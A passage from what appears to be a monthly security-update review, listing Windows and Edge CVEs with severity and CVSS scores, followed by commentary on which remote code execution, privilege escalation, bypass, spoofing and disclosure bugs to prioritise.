Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following 